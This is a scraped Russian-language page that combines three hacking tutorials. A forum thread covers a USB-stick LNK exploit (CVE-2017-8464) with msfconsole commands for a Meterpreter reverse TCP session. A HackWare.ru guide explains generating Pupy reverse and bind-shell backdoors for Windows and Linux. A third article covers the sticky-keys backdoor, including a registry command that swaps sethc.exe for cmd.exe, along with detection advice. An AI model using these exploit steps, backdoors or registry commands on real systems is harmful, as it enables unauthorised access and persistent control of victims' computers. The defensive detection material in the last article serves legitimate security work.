- Бэкдор Windows с помощью флешки
- Вложения
- Dr.Lafa
- ghostphisher
- MrKubic
- WinCent
- Ondrik8
- yvv4recon
- persivald
- erlan1749
- erlan1749
- HackWare.ru
- Этичный хакинг и тестирование на проникновение, информационная безопасность
- Инструкция по Pupy: как создать бэкдор
- Transport
- Launchers
- Listeners
- Формат полезной нагрузки
- Запуск Pupy
- Опции gen
- Создание слушателей listen
- Создание бэкдора для Windows
- Подключение к бэкдору
- Как сделать бэкдор для Linux
- Простейший бэкдор в Windows – как использовать, как обнаружить
Бэкдор Windows с помощью флешки
Здраствуйте, в данной статье я опишу способ для создания сесии с помощью флешки
Скачиваем екслпоит. (Вот все версии на которых «поддерживаеться» експлоит)
1. Нужно пререименовать скачаный експлоит:
2. Перемещаем файл:
3. Запускаем Metasploit и перезапускаем модули:
4. Создадим полезную нагрузку:
5. Загрузаем скачаный нами, недавно, експлоит:
6. Все файлы которые были созданы нужно переместить на флешку. Открывает папку с файлами,
Вложения
Dr.Lafa
ghostphisher
местный
MrKubic
WinCent
Ondrik8
prodigy
yvv4recon
Извините, не очень понятно, зачем сначало создавали listner,когда если проделать действия 5ого шага, она автоматом забиндится?
use exploit/windows/fileformat/CVE_2017_8464_LNK_Rce
info
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.14
exploit
Возможно, я ошибаюсь.
persivald
Well-known member
Извините, не очень понятно, зачем сначало создавали listner,когда если проделать действия 5ого шага, она автоматом забиндится?
use exploit/windows/fileformat/CVE_2017_8464_LNK_Rce
info
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.14
exploit
Возможно, я ошибаюсь.
erlan1749
erlan1749
Здраствуйте, в данной статье я опишу способ для создания сесии с помощью флешки
Скачиваем екслпоит. (Вот все версии на которых «поддерживаеться» експлоит)
1. Нужно пререименовать скачаный експлоит:
2. Перемещаем файл:
3. Запускаем Metasploit и перезапускаем модули:
4. Создадим полезную нагрузку:
(192.168.0.14 — это мой локальный адрес, также можна вбивать и обычный Ip, с ним тоже все роботает.)
Незнаю почему, но на порту 4444 у меня иногда выдает ошибку, поэтому я и сменила порт, но вы можете сначала попробовать на стандартном, а если не получиться то попробывать с 8080 портом.Посмотреть вложение 11298
5. Загрузаем скачаный нами, недавно, експлоит:
6. Все файлы которые были созданы нужно переместить на флешку. Открывает папку с файлами,
HackWare.ru
Этичный хакинг и тестирование на проникновение, информационная безопасность
Инструкция по Pupy: как создать бэкдор
Смотрите начало в статье «Как установить Pupy».
Для генерации рабочей полезной нагрузки нам нужно ясное понимание о том, как и что работает, также перед началом работы вам нужно понимать такие термины как:
Transport
Transport (транспорт) — это то, каким образом (с использованием каких протоколов и технологий) сервер и клиент передают между собой информацию.
Доступны следующие варианты:
- ssl (используется по умолчанию): TCP транспорт обёрнутый в SSL.
- rsa: Аутентификация и шифрование с использованием RSA и AES256, часто сочетается с другими протоколами.
- ssl_rsa: Как и ssl, но вложен в rsa слой.
- websocket:
- aes: Использует статичный ключ AES256.
- http: Делает трафик похожим на обычный HTTP + вкладывается в слой rsa.
- obfs3: Протокол, который не позволяет третьей стороне определить на основании содержимого сообщений, какой протокол используется. Для большей безопасности Obfs3 вложен в слой rsa.
- scramblesuit: Полиморфный сетевой протокол для обхода цензуры. Scramblesuit сложен со слоем RSA для лучшей безопасности.
- udp: Rsa слой но через UDP (может быть нестабильным, не решает проблемы с потерявшимися при передаче пакетами).
- другие: Слои без особого интереса и приведены в качестве примеров кода: (dummy, base64, XOR, …).
Все транспорты способны быть обёртками друг к другу (stackable). Это означает, что, создавая пользовательскую конфигурацию транспорта (pupy/network/transport/
Launchers
Launchers (лончеры) позволяют pupy запускать настраиваемые действия перед запуском обратного соединения.
- connect: Выполняется подключение от удалённого компьютера к атакующему.
- bind: Удалённый компьютер начинает прослушивать порт в ожидании подключения к нему
- auto_proxy: Получит список возможных SOCKS/HTTP прокси и попробует каждый из них. Методы извлечения прокси: реестр, запросы WPAD, настройки gnome, переменная env HTTP_PROXY
- dnscnc: DNS эксфильтрация
Лончер connect обычно называют Reverse Shell (Обратный шелл). А bind — это то, что обычно называют просто Shell. Подробности об их различиях и случаях применения здесь.
Listeners
Listeners (прослушиватели) — используются с лончером connect, то есть при Reverse Shell (Обратном шелле), когда нужно ждать подключение от удалённого компьютера.
Если в качестве лончера выбран bind, то нам не нужен прослушиватель на нашем компьютере — нам достаточно сразу подключиться к удалённой системе.
Прослушиватели при запуске должны получить два параметра:
- порт, к которому будет сделано подоключение
- транспорт, который использует полезная нагрузка
По умолчанию лончер пытается прослушивать на порту 443 используя транспорт ssl. Эту конфигурацию можно изменить в файле pupy.conf. О том, как добавлять свои собственные прослушиватели, будет рассказано далее.
Формат полезной нагрузки
Pupy умеет создавать файлы для различных операционных систем: Windows, Linux, OSX, Android. Поддерживаются различные архитектуры процессора (64- и 32-битные). При создании полезной нагрузки нужно указывать эти данные в параметрах. Это в первую очередь относится к исполнимым файлам — то есть для исполнимых файлов нужно указать, например, что бэкдор должен быть запущен в операционной системе Windows с архитектурой процессора 64-бита.
Pupy умеет создавать не только исполнимые файлы, но и другие форматы, а именно:
- client: исполнимые файлы для запуска на целевой машине (.exe, .dll, .lin, .so).
- py: файл python.
- pyinst: файл python готовый для использования с pyinstaller.
- py_oneliner: python oneliner (то есть исполнимый код в одну строку) (запускает в фоне прослушивающий сервер)
- ps1: файл powershell.
- ps1_oneliner: powershell oneliner (запускает в фоне прослушивающий сервер).
- rubber_ducky: полезен с rubber ducky.
Генерировать полезную нагрузку можно двумя способами: используя отдельный файл pupygen.py, либо запустив Pupy и в консоли используя команду
Можно выбрать любой вариант — у этих способов идентичные опции запуска. Я буду показывать на примере работы в сессии Pupy, поэтому начинаю с запуска этой программы.
Запуск Pupy
В статье про установку Pupy я рассказывал о двух вариантах установки и рекомендовал первый. Запуск сессии Pupy различается в зависимости от метода установки. При установке прямо в систему, сессия запускается так:
При первом запуске генерируются ключи и сертификаты, которые используются в программе для шифрования соединений с удалёнными системами:
Они сохраняются в файл /root/.config/pupy/crypto/credentials.py
Программа также говорит:
Перевод: Использование данного программного обеспечения для доступа к любой системе, услуге или сети без согласия владельца категорически запрещено. Пожалуйста, следуйте кодексу этики: https://www.eccouncil.org/code-of-ethics/
Опции gen
Как сказано выше, gen (и pupygen.py) используются для генерации полезной нагрузки и у них одинаковые опции. Рассмотрим их.
Как можно увидеть, некоторые значения установлены по умолчанию. Если запустить команду
без каких-либо опций, то будет сгенерирована полезная нагрузка, она в качестве значений по умолчанию примет следующие значения:
- формат полезной нагрузки: client
- лончер: connect (то есть обратный шелл до нашей машины)
- в качестве IP адреса берётся автоматически определённый наш адрес
- порт для подключения: 443
- платформа: windows/x86
- транспорт: ssl
Но все эти опции мы, конечно же, можем перенастроить нашими параметрами.
Все опции рассмотрены выше, поэтому нет смысла детально объяснять команды — если вам в них что-то непонятно, тогда вернитесь к их описанию.
Начнём с создания обратного шелла — в этом случае удалённый компьютер («Жертва») подключается к компьютеру «Атакующего». Поэтому при создании полезной нагрузки нужно указать IP адрес, к которому должна подключаться Жертва. К примеру, IP адреса своих интерфейсов можно посмотреть командой
Я буду делать тесты в локальной сети, у компьютера Атакующего локальный адрес 192.168.1.112 — поэтому я буду использовать его, а вы замените его на ваше значение.
Для создания обратного шелла под 64-битную платформу Windows, который будет подключаться к порту 43210 на IP адресе 192.168.1.112 используя транспорт http:
Файл успешно создан и сохранён по пути /root/.config/pupy/output/pupyx64.KrN0Qe.exe
Переименую и скопирую его в более близкий путь:
Поскольку с удалённого компьютера будет делаться подключение к нашему компьютеру, то перед запуском только что созданного файла на целевой системе нам нужно создать прослушиватель, который будет ожидать подключения к нему.
Кстати, при запуске Pupy один прослушиватель запускается автоматически, об этом говорить строка:
То есть заключается слушатель для транспорта ssl на порту 443.
Новые слушатели создаются, удаляются и показываются командой listen.
Создание слушателей listen
Поскольку для своей полезной нагрузки я выбрал транспорт http, а в качестве порта указал 43210, то слушатель в моём случае запускается так:
Общий вид команды такой:
Говорит о том, что всё прошло успешно.
Выведем список всех слушателей:
Всё готово — теперь я переношу файл с полезной нагрузкой на целевую систему и запускаю его там.
Через несколько секунд после запуска будет выполнено подключение к компьютеру атакующего и появится примерно следующая информация:
К управлению сессиями, выполнению команд на удалённой машине и эксплуатации мы перейдём в следующей части. А пока рассмотрим ещё несколько популярных примеров генерации полезной нагрузки.
Создание бэкдора для Windows
Чтобы создать шелл, который откроет порт 54321 для 64-битной ОС Windows и будет ждать подключение от удалённого компьютера по транспорту http выполните следующую команду:
В этом случае мы не указываем IP адрес, поскольку данная полезная нагрузка никуда не подключается. Но мы указываем порт — этот порт будет открыт на компьютере Жертвы в ожидании подключения Атакующего.
Подключение к бэкдору
Для подключения используется команда connect. Рассмотрим её опции.
Как можно увидеть, обязательно нужно указать IP и порт подключения. Транспорт можно не указывать.
Кстати, в Windows IP адрес можно узнать командой
Для подключения к порту 54321 хоста 192.168.1.101:
Как сделать бэкдор для Linux
Для Linux можно также создать обратный шелл и обычный шелл.
Для создания обратного шелла:
Прослушиватель запускается точно так же, как это было показано выше:
Для создания бэкдора, который будет ждать подключения от нас:
Для подключения к нему:
Итак, в этой части мы научились создавать полезную нагрузку и подключаться к бэкдору.
В следующей части мы рассмотрим как выполнять команды на удалённой системе: Как удалённо управлять компьютерами через бэкдор
Простейший бэкдор в Windows – как использовать, как обнаружить
В операционных системах Windows имеется довольно давно известная возможность организовать себе бэкдор, чтобы в будущем получить доступ к компьютеру, к которому доступа быть не должно. Сегодня хочу рассказать вам о нем, показать один из примеров его обнаружения, в самом топорном случае, а также маленько поразмышлять на эту тему.
В чем суть бэкдора? Все вы видели, что при входе в систему всегда есть кнопка «специальные возможности»
Там есть несколько утилит, таких как лупа, залипание клавиш, экранный диктор и т.п. Так вот, эти утилиты запускаются exe файлами, которые лежат в папке system32 вашей системной директории (по умолчанию – c:\windows\system32).
Если заменить оригинальные файлы, например командной строкой (cmd.exe), или еще чем-нибудь, где можно выполнять команды или что-нибудь запустить, то при запуске этих утилит из раздела специальных возможностей, преспокойно запустится замененный файл, и дальше можно делать всё что душе угодно.
Вот примеры исполняемых файлов, которые отвечают за специальные возможности:
sethc.exe – залипание клавиш
osk.exe – экранная клавиатура
Narrator.exe – экранный диктор
Magnify.exe – экранная лупа
DisplaySwitch.exe – переключение экрана
Напишите в комментариях, если что-то упустил.
В обычном случае, просто заменить эти файлы не удастся, т.к. не хватит прав. Для того что бы получить необходимые права сперва необходимо стать владельцем файла (в свойствах файла – вкладка безопасность – дополнительно – изменить владельца, само собой делать это нужно от имени администратора).
После чего во вкладке безопасность нужно дать полный доступ нужному пользователю на файл, и после этого можно заменить файл, например файлом cmd.exe.
Так же можно загрузиться с livecd, и если диск не зашифрован, то заменить файлы можно вообще без каких-либо проблем с правами.
Всё – теперь на экране ввода пароля можно пять раз быстро нажать shift (если будет заменен sethc.exe) и должна запуститься командная строка с повышенными привилегиями, где можно добавить администраторскую учетку и дальше делать всё что угодно на компьютере.
По мимо простой замены файлов, можно пойти несколько более хитрым путем – для утилит sethc.exe и utilman.exe в реестре можно добавить опцию debugger, и результат будет как при замене файлов. К примеру, это может сделать команда:
REG ADD «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe» /v Debugger /t REG_SZ /d «c:\windows\system32\cmd.exe»
Как же с этим бороться? Как всегда – подобную пакость гораздо проще предупредить, чем обнаруживать. Поэтому – не давайте кому попало админских прав и включайте шифрование дисков.
Так же данный бэкдор может обнаружить windows defender – поэтому не стоит его отключать.
Пожалуй, один из очевидных и простых способов обнаружения – это запустить все средства специальных возможностей вручную, и проверить – запускается то, что нужно или нет. Хотя он не может гарантировать результат, т.к. не исключено, что злоумышленник может сделать свои утилиты, которые в точности будут копировать функционал оригинальных, и только при определенных событиях, например, при нажатии определенной комбинации клавиш, запускать нужную программу.
Еще на просторах интернета был обнаружен — ]]> интересный скрипт ]]> , для совсем топорных вариантов оставления описываемой возможности доступа к системе. Я его ]]> немного переделал ]]> , что бы он работал на старых версиях powershell (проверял на версии 2). Он работает по следующему принципу – вычисляет хэш для cmd.exe, explorer.exe и powershell.exe и сравнивает их со значением хэш сумм вышеописанных утилит. Если они совпадут, значит злоумышленник подменил файлы, и скрипт об этом сообщит. По мимо сравнения файлов, так же анализируется 2 ветки реестра, на предмет опции /debugger для утилит sethc.exe и utilman.exe.
К сожалению, данный скрипт, конечно же, тоже не является панацеей, т.к. злоумышленник вполне может использовать тот же cmd другой версии с другого компьютера, и хэш суммы у оригинальной и подмененной версий будут разными, ну или опять же может спокойно создать свой исполняемый файл. Вообще эта тема довольно обширная и 100% сценарий для обнаружения не сможет дать никто, и заметка эта написана с целью, что бы вы знали, что такая возможность у злоумышленников существует. А что с этой информацией делать – решать вам.
И да – часто советуют полностью отключать в панели управления/групповых политиках/еще где то специальные возможности, якобы это вас убережет… Нет, не убережет, если у злоумышленника есть админский или физический доступ к компьютеру, то ему не составит никакого труда изменить ваши настройки, или сделать так что бы они сами постоянно менялись. Короче будьте бдительны.